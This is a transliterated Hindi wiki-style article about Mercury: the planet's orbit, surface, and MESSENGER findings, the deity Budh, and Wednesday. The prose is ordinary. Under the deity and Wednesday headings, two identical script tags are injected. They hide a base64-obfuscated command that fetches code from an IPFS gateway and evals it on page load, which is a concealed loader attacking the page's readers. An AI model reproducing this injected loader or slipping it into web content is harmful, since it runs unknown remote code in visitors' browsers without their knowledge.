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chitr:Disamb2.jpg budh

ek bahuvikalpi shabd hai any arthoan ke lie dekhean:- budh (bahuvikalpi)

thumb|250px|budh grah
Mercury

budh grah ( Mercury ) - devatao ka sandeshavahak, vanijy, vyapar ka devata

• budh grah ( Mercury ) soory se sabase pahala / pas ka grah hai aur dravyaman mean aanthava sabase b da grah hai aur gurutvakarshan shakti prithvi ki apeksha ek chauthaee hai. yah saur mandal ka sabase chhota grah hai, jisake pas koee upagrah nahian hai. budh grah ka vyas 4880 kimi jo saur mandal mean do chandrama guru ka genimed aur shani ka taeetan vyas mean budh se bade hai lekin dravyaman mean adhe haian. budh samanyatah nangi aankho se sooryast ke bad ya sooryoday se thik pahale ( do ghanta pahale ) dekha ja sakata hai. budh soory ke kafi samip hone se ise dekhana mushkil hota hai.
• roman mithako ke anusar budh vanijy, vyapar, yatra aur choryakarm ka devata haian. yunani devata harmish ka roman roop, devatao ka sandeshavahak devata hai. ise sandeshavahak devata ka nam is karan mila kyoanki yah grah akash mean kafi tezise gaman karata hai. budh ko eesa se 3 sahastrabdi pahale soomeriyan kal se jana jata raha hai. ise kabhi sooryoday ka tara, kabhi sooryast ka tara kaha jata raha hai. grik khagol vijnaniyo ko jnat tha ki yah do nam ek hi grah ke haian. heraklitas yahaan tak manata tha ki budh aur shukr prithvi ki nahi, soory ki parikrama karate haian. budh prithvi ki tulana mean soory ke samip hai isaliye prithvi se usaki chandrama ki tarah kalaye dikhayi deti hai. gaililiyo ki doorabin chhoti thi jisase ve budh ki kalaye dekh nahian paye lekin unhoanne shukr ki kalayean dekhi thi.
• abhi tak do aantariksh yan mairinar 10 tatha maisenjar budh grah ja chooke hai. mairinar - 10 sanh 1974 tatha 1975 ke madhy tin bar is grah ki yatra kar chooka hai. budh grah ki satah ke 45% ka naksha banaya ja chuka hai. ( soory ke kafi samip hone se habbl doorabin usake baki kshetr ka naksha nahian bana sakati hai. ) maisenjar yan 2004 mean nasa dvara prakshepit kiya gaya tha. yah yan bhavishy mean 2011 mean budh ki parikrama karega. isake pahale janavari 2008 mean is yan ne mairinar 10 dvara n dekhe gaye kshetr ki uchch gunavatta vali tasvire bheanji thi.
• budh ki kaksha kafi zyada vikendrit ( eccentric ) hai, isaki soory se doori 46,000000 kimi ( perihelion ) se 70,000000 kimi ( aphelion ) tak ( kaksha = 57,910,000 kimi ( 0.38 AU ) soory se ) rahati hai. jab budh soory ke najadik hota hai tab usaki gati kafi dhimi hoti hai. 19 vi shatabdi mean khagolashastriyo ne budh ki kaksha ka savadhani se nirikshan kiya tha lekin nyutan ke niyamo ke adhar par ve budh ki kaksha ko samajh nahian pa rahe the. budh ki kaksha nyutan ke niyamo ka palan nahian karati hai. nirikshit kaksha aur ganana ki gayi kaksha mean aantar chhota tha lekin dashako tak pareshan karane vala tha. pahale yah socha gaya ki budh ki kaksha ke aandar ek aur grah (valkan) ho sakata hai jo budh ki kaksha ko prabhavit kar raha hai. kafi nirikshan ke bad bhi aisa koee grah nahian paya gaya. is rahasy ka hal kafi samay bad aeenstaeen ke sadharan sapekshatavad ke siddhaant ( General Theory of Relativity ) ne diya. is siddhaant se ganana karane par aye aankade ,nirikshan se prapt aankado se mel kha rahe the. budh ki kaksha ki sahi ganana is siddhaant ke svikaran ki or pahala qadam tha.
• budh 48 kilomitar ( 29 mil ) prati sekand ki raphtar se yah 88 dinoan mean soory ki parikrama kar leta hai, jo sabase kam samay hai. ise apani dhuri par ek chakkar lagane mean 60 din lagate haian. 1962 tak yahi socha jata tha ki budh ka ek din aur varsh ek barabar hote hai jisase vah apana ek hi paksh soory ki or rakhata hai. yah usi tarah tha jis tarah chandrama ka ek hi paksh prithvi ki or rahata hai. lekin daplar siddhant ne ise galat sabit kar diya. ab yah mana jata hai ki budh ke do varsh mean tin din hote haian. arthath budh soory ki do parikrama mean apani svyan ki tin parikrama karata hai. shukr ki tarah budh ka ghurnan dhima hai. budh aur mandal mean akela piand hai jisaka kaksha / ghurnan ka anupat 1.1 nahian hai. ( vaise bahut sare piando mean aisa koee anupat hi nahian hai. )
• budh ki kaksha mean soory se doori mean parivartan ke tatha usake kaksha / ghurnan ke anupat ka budh ki satah par koee nirikshak vichitr prabhav dekhega. kuchh akshaanso par nirikshak soory ko udit hote huye dekhega aur jaise jaise soory kshitij se upar shirshabiandoo tak ayega usaka akar badhata jayega. is shirshabiandoo par akar soory rook jayega aur kuchh der viparit disha mean jayega aur usake bad phir rookega aur disha badal kar akar mean ghatate huye kshitij mean jakar sooryast ho jayega. is sare samay mean tare akash mean soory se tin guna tezise jate dikhayi deange. nirikshak budh ki satah par vibhinn sthano alag alag lekin vichitr soory ki gati ko dekhega.
• budh ki satah par tapaman 90 digri kelvin se 700 digri kelvin tak jata hai. shukr par tapaman isase garm hai lekin sthayi hai. budh par ek halka ( patala ) vatavaran hai jo mukhyatah saur hava se lagatar prapt hote paramanuo se bana hai. budh bahut garm hai jisase is grah par ye paramanu tik nahian pate hai aur paramanu u dakar aantariksh mean chale jate haian. jahaan prithvi aur shukr ke vatavaran sthir hai vanhi par budh ke vatavaran ka punanirman hote rahata hai.
• budh ko hamare chandrma ka bhaee kaha ja sakata hai dono ki satah par ulakapat se bane dher sare gadhdhe ( kretar ) hai. lekin budh ka ghanatv chandrama ke ghanatv se kahian zyada hai ( 5.43 gram / ghan semi aur 3.34 gram / ghan semi ) . budh ki satah sthayi hai, us par parato mean koee gatividhi nahian hai. budh ka ghanatv 5.43 gram / semi hai aur yah prithvi ke bad sare saur mandl mean sabase zyada ghanatv vala piand hai. prithvi ka ghanatv usake gurutvakarshan ke karan zyada hai anyatha budh ka ghanatv sabase zyada hota, budh ka ghanatv usake lohe ki kor ke karan hai. isase aisa pratit hota hai ki budh ka lauh kendr prithvi ke lauh kendr se b da hai, shayad baki sabhi graho ke ke kendr se bhi zyada. budh ki satah par siliket ki ek barik pap di hai. budh ke kendr mean 1800 kimi se 1900 kimi vyas ki ek lohe ki guthali hai. siliket ki parat ( prithvi jaise hi ) 500 kimi se 600 kimi moti hai. satah ki pap di 100 se 300 kimi ki hai. shayad lohe ka kendr ka kuchh bhag pighala hua hai.
• budh ki satah par gadhdhe kafi gahare hai, kuchh saik do kimi lambe aur tin kimi tak gahare hai. aisa pratit hota hai ki budh ki satah lagabhag 0.1% sankuchit huee hai. budh ki satah par kailoris ghati hai jo lagabhag 1300 kimi vyas ki hai. yah chandrama ke mariya ghati ke jaisi hai. shayad yah bhi kisi dhoomaketu ya kshudragrah ke takarane se bani hai. in gaddo ke alaba budh grah mean kuchh sapat pathar bhi hai jo shayad bhootakal ke jvalamukhiy gatividhiyo se bane hai. mairinar se prapt aank de batate hai ki budh par kuchh jvalamukhiy gatividhiyaan hai lekin ise pramanit karane kuchh aur aank de chahiye. ashcharyajanak roop se budh ke uttari dhruvo ke gaddo mean pani ki barf ke praman mile hai. budh par halka sa chuanbakiy kshetr hai jo prithvi ke chuanbakiy kshetr ki kshamata ka 1% hai. budh ka koee bhi jnat chandrama nahian hai.
• kuchh anasulajhe prashn --
  

1. budh ka ghanatv prithvi ke ghanatv ke jaisa 5.43 gram/semi zyada hai. lekin yah hamare chandrama se zyada milata joolata hai. kya kisi takkar se isaki chatatane nasht ho gayi thi ?
2. budh ki satah par lohe ki upasthiti nahian hai lekin isaki kor lohe ki bani hai. yah vichitr hai. kya budh any chattani graho se alag hai ?
3. budh ke samatal pathar kaise bane ?
4. kya budh ke us hisse mean kuchh ashchary chhipa hai jise ham dekh nahian paye hai? kam gunavatta ki tasviro mean aisa kuchh nahian paya hai lekin ?

ameriki aantariksh ejeansi nasa ke aantariksh yan maiseanjar ka budh grah abhiyan

aantariksh yan maiseanjar budh grah par pahuancha

ameriki aantariksh ejeansi nasa ke kar ke akar ke ek aantariksh yan maiseanjar ka prakshepan 2004 mean kiya gaya tha. ise budh ki satah, bhoo-rasayan aur aantariksh paryavaran ka adhyayan karana tha . maiseanjar somavar, aktoobar 6, 2008 ko budh grah ki mahaj 200 kilomitar ki paridhi mean pahuanch gaya tha aur 7 aktoobar 2008 ko pahali bar saur mandal ke sabase chhote grah budh ke satah ki qarib se tasvir lene mean saphalata hasil kar li thi . aantariksh yan maiseanjar ne soory ke sabase qarib sthit is grah ki bhoomadhy rekha ke najadik qarib 200 kilomitar ki doori se u dan bhari thi . yan ke sath bheje ge tin phlaibai upakaranoan mean se doosara upakaran budh ki kaksha mean sthapit hone ke lie chho d diya gaya tha. vaijnanikoan ka manana hai ki is yan dvara bheji gee tasvirean budh grah ki ab tak ki sabase behatarin tasvirean haian. march 1975 mean mairinar-10 ki tisari aur aantim u़ dan ke bad se yah pahali bar hai jab koee aantariksh yan budh ki satah ke itane qarib se gujara hai. yah aantariksh yan un tin yanoan mean se ek hai jo varsh 2011 tak budh ki kaksha mean pravesh karane ja raha hai.

mesaianjar dvara budh grah ki li gee tasvirean

maikanat ne kaha yan ne budh ke qarib 30 pratishat hisse ki 1200 tasvirean le li haian jise pahale kisi yan se dekha nahian gaya tha. yan ne sab kuchh vaise hi kiya jaisa ki ise karana tha. mesaianjar ko qarib 2011 mean budh ki kaksha mean pahuanchane se pahale tin bar isake satah ke qarib pahuanchana hai. isase pahale yah 14 janavari ko bhi isake qarib pahuancha tha. sitanbar 2009 mean ise ek bar phir yah abhiyan poora karana hai. shri maikanat ne bataya ki isase pahale 1974 aur 1975 mean nasa ka hi yan mairinar 10 tin bar budh ke qarib pahuancha tha aur usane qarib 45 pratishat hisse ki tasvirean li thian. maiseanjar ne janavari mean budh ke 20 aur pratishat hisse ki tasvirean lian . qarib 23 hazar 800 kilomitar prati ghante ki raphtar se u dan bhar raha maiseanjar dakshin aphrika ke akar ke barabar budh ke kshetr ka adhyayan kar raha hai. budh ka matr paanch pratishat hissa hi isaki najaroan se bach sakega. meseanjar khoji yan ke kaimaroan aur upakaranoan ne kee rangin tasvirean ikattha ki haian jisase grah ki aur 6 pratishat satah ka pata chalata hai jo isase pahale itani nazadiki se kabhi nahian dekhi gee thi. meseanjar yan budh grah ki 98 pratishat satah dekh chuka hai jisake dauran use ek gahvar ke charoan or ka chamakadar kshetr bhi dikhaee diya hai jo sanbhavat jvalamukhi raha hoga. use dohare chhalle vala apekshakrit yuva kuand bhi mila hai jisaka vyas 290 kilomitar hai. is khoji dal ki sadasy bret denevi isaki vyakhya karate hue kahate haian, grah bhoo-vijnaniyoan ke lie yuva ka matalab koee ek arab sal purana hua kyoanki budh grah ke any kuand tin arab sal purane haian.

budh grah ka satah aur jvalamukhi

khagolavidoan mean budh ki satah ke chikani hone ko lekar dashakoan se bahas jari hai aur ab tak budh ko soory ke sarvadhik qarib ki ek chattan aur niras grah kahate ae the lekin emaeeti ki vaijnanik mariya juber ka kahana hai ki budh kahian zyada dilachasp hai. j aauns h aaupakins yunivarsiti ke bhautiki prayogashala ke vaijnanik ralph maikanat ne bataya ki shuruati tasviroan se pata laga hai ki budh ki satah par chattani maidan, gahare gaddhe tatha lambi aur ooanchian khadi chattane haian. isaka akar prithvi ke ek tihaee ke barabar tatha hamare chaand se thoda sa hi b da hai. pahale aisa mana jata tha ki budh grah ki satah ka akar bahari tatv tay karate haian, lekin is grah ke najadik se gujare aantariksh yan se mile taja aank doan ke adhar par vaijnanikoan ne kaha hai ki yah akar vahaan maujood sakriy jvalamukhi tay karate haian. vaijnanikoan ne budh ki satah par bhi chandrama aur mangal grah ki tarah ki sanrachanaean dekhi haian aur unaka kahana hai ki yah bhari matra mean nikale lava ke karan ho sakata hai. unaka kahana hai ki isase pata chalata hai ki vahaan tin se char arab sal pahale jvalamukhi sanbandhi gatividhiyoan ki bharamar rahi hoangian. ameriki aantariksh ejeansi nasa ke prob maiseanjar se bheji gee nee tasviroan mean budh ki satah par jvalamukhiyoan ke gaddhe saf dikhaee de rahe haian.

budh grah ke sapat maidanoan ke udbhav ko lekar vivad 1972 ke apolo 16 mishan ke sath shuroo ho gaya tha. is mishan ke bad yah bat samane aee thi ki kuchh maidani hissa us padarth se bana jo brahmaandiy takkaroan ke karan chhitak gaya tha aur phir isase sapat talab ban ge. jab aantariksh yan mairinar 10 ne saur mandal ke sabase chhote budh grah ki 1975 mean aisi hi akritiyoan ki tasvirean li to kuchh vaijnanikoan ka manana tha ki grah par kuchh prakriyaean jari haian. kuchh any vaijnanikoan ka anuman tha ki budh grah ka maidani padarth jvalamukhi visphot se nikala lava hai lekin us mishan ke dauran li gee tasviroan mean jvalamukhi ke dahanoan ya jvalamukhi ke karan dikhaee p dane vali any parighatanaoan ke n hone ke chalate is vichar par am ray nahian ban paee. lekin ab anusandhanakartaoan ne grah ke kolaris besin namak sthan ke kinare - kinare jvalamukhi gatividhiyoan ka pata lagaya hai. unhoanne yah bhi paya ki kolaris ka bhaugolik itihas vaijnanikoan ki poorv avadharana se kahian adhik jatil hai. grah par ooanchaee janane ke lie pahali bar ki gee gananaoan se pata laga ki yahaan pae ge gaddhe prithvi ke chandrama par pae jane vale gaddhoan se kuchh hi uthale haian. in gananaoan mean budh grah ke jatil bhaugolik itihas ka bhi pata laga hai.

budh grah par lohe aur taiteniyam

nasa ke khoji yan meseanjar ne paya hai ki budh grah par lohe aur taiteniyam ka b da sangrah hai. isase pahale yah mana jata tha ki budh grah ko dhakane vale siliket khanij mean tho di matra mean loha hai. meseanjar khoji abhiyan ke pramukh sh aaun soloman ne kaha, yah loha aise roop mean maujood hai jo hamean any grahoan mean nahian milata isalie hamare bhoo-rasayan shastriyoan aur shail-vijnaniyoan ko aur kam karana hoga. isake alava grahoan ke nirman ke maujooda siddhaantoan ko bhi is janakari par dhyan dena hoga. kyoanki kuchh siddhaanto ke anusar budh grah mukhy roop se us piand ka keandriy avashesh hai jisaki oopari paratean nirman ke aranbhik kal mean ek zabaradast bhi dant ke karan alag ho gee thian.

budh grah mean siku़ dan

aantarikshayan maiseanjar ke bheje aanq doan ke adhar par vaijnanikoan ne kaha hai ki hamare saur mandal ka sabase chhota grah budh siku़ dakar aur chhota ho gaya hai. ullekhaniy hai ki pahale hamare grah ka sabase chhota grah plooto tha lekin use sauramandal se bahar kar die jane ke bad ab budh grah hamare sauramandal ka sabase chhota sadasy rah gaya hai. budh ke pas se guzar rahe aantarikshayan maianseanjar ne janavari 2008 mean jo aanq de bheje the usase pata chalata hai ki budh ka vyas koee de़dh kilomitar tak kam ho gaya hai. vaijnanikoan ka manana hai ki grah ke kinaroan ke thanda hone ki vahaj se isaka akar ghat gaya hai. saians jarnal mean prakashit shodh ke mutabiq isaki vajah se budh ka chuanbakiy kshetr bhi mazaboot hua hai. yah ek aisa vishay hai jis par vaijnanik lanbe samay se charcha karate rahe haian. karnegi ianstityooshan aauph v aaushiangatan ke syaan soloman pramukh shodhakarta ka kahana hai ki thandak b़dhane ke karan n keval grah ki chuanbakiy shakti b़dhi hai balki isake chalate grah ka akar bhi ghata hai. unaka kahana hai ki grah ki siku़ dan pahale lagae ge anuman ki tulana mean kam se kam ek tihaee adhik hai. budh grah ke najadik se gujare aantariksh yan maiseanjar ne janakari di hai ki is grah ka chuanbakiy kshetr pighali huee satah se banata hai aur grah ki chuanbakiy shakti isake bhitari bhag aur satah mean behad gatishil aur jatil pratikriya karati hai.

budh grah ka vatavaran

meseanjar khoji yan ne budh grah ke vayumandal ka naya mapan bhi kiya hai. budh ka vayumandal atyant sookshm anuoan ke badaloan se bana hai jo saur gatividhiyoan aur kshudr ulka piandoan ke takarane ke karan grah ki satah se uthate haian. prithvi se 770 lakh kilomitar door sthit soory ke tap mean tapate is grah ki satah ke rasayanik sangathan ke bare mean bhi pahali bar vaijnanikoan ko janakari mili hai. aantariksh yan maiseanjar ne budh grah ke patale vatavaran ki sanrachana ki jaanch ki, grah ke nikat aveshayukt kanoan ya ayanoan ke namoone lie aur prekshan tatha grah ki satah par maujood padartho ke bare mean ne sanbandhoan ka pradarshan kiya. aantariksh yan ne budh grah ki anoothi bahari satah par ayanikrit kanoan ka bhi pata lagaya. yah satah ek behad patale vatavaran se bani hai jisamean kan itani door haian ki ek doosare se takarane ke bajay ve satah se takara jate haian. grah ki aandakar kaksha isaka dhima ghoornan aur kanoan ki satah ke sath pratikriya aur saur hava ke karan tivr mausami aur din rat sanbandhi badalav hote haian.

budh devata

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• budh pile rang ki pushpamala tatha pila vastr dharan karate haian. unake sharir ki kanti kaner ke pushp ki jaisi hai. ve apane charoan hathoan mean kramash:- talavar, dhal, gada aur varamudra dharan kiye rahate haian. ve apane sir par sone ka mukut tatha gale mean sundar mala dharan karate haian. unaka vahan sianh hai.
• atharvaved ke anusar budh ke pita ka nam chandrama aur mata ka nam tara hai. brahmaji ne inaka nam budh rakha, kyoanki inaki buddhi b di gambhir thi.
• shrimadbhagavat ke anusar ye sabhi shastroan mean parangat tatha chandrama ke saman hi kantiman haian. matsy puran ke anusar inako sarvadhik yogy dekhakar brahma ne inhean bhootan ka svami tatha grah bana diya.

budhavar

1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

• budhavar saptah ka chautha din hai .
• budhavar mangalavar ke bad aur brihaspativar se pahale ata hai .
• budhavar ka nam 'budh' se p da hai jisaka tatpary ek hindoo devata se hai .

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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bahari k diyaan

• budh grah mean chhipe hue haian kee rahasy
• budh grah par lohe ka bhari sangrah
• budh grah ki satah ki qaribi tasvir li gayi
• sabase chhota grah aur siku da
• ujagar hua budh grah mean chhipa rahasy
• meseanjar pahuancha budh grah ki 200 kimi ki paridhi mean
• budh ke lie aantariksh yan ravana
• budh grah ki tasvirean
• japan 2014 mean budh par upagrah bhejega

sanbandhit lekh

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